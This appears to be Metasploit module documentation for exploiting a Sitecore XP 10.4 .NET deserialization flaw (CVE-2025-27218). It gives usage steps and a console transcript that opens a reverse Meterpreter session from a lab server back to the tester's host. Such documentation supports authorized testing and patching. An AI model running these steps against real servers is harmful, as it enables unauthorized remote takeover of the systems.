## Vulnerable Application
This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
Platform (XP) 10.4 before KB1002844 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.

### Setup
The SiteCore installer can be downloaded from the [downloads page](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform/104/Sitecore_Experience_Platform_104).
Note that a license is required to run the application.

## Verification Steps

1. Start msfconsole
2. Do: `use windows/http/sitecore_xp_cve_2025_27218`
3. Set the `RHOST` abd `LHOST`, options
4. Run the module
5. Receive a Meterpreter session as the `IIS APPPOOL\XP0.sc` user.

## Scenarios
### SiteCore XP 10.4.0 Revision 010422 running on Windows Server 2022
```
msf exploit(windows/http/sitecore_xp_cve_2025_27218) > set rhost xp0.sc
rhost => xp0.sc
msf exploit(windows/http/sitecore_xp_cve_2025_27218) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf exploit(windows/http/sitecore_xp_cve_2025_27218) > dns add-static xp0.sc 192.168.123.244
[*] Added static hostname mapping xp0.sc to 192.168.123.244
msf exploit(windows/http/sitecore_xp_cve_2025_27218) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. The target is running SiteCore.
[+] Server responded with 200, this probably means it worked.
[*] Sending stage (203846 bytes) to 192.168.123.244
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.244:49832) at 2025-03-27 08:58:13 -0700

meterpreter > getuid
Server username: IIS APPPOOL\XP0.sc
meterpreter > sysinfo
Computer        : WIN-2I9LBN2Q0R5
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >
```
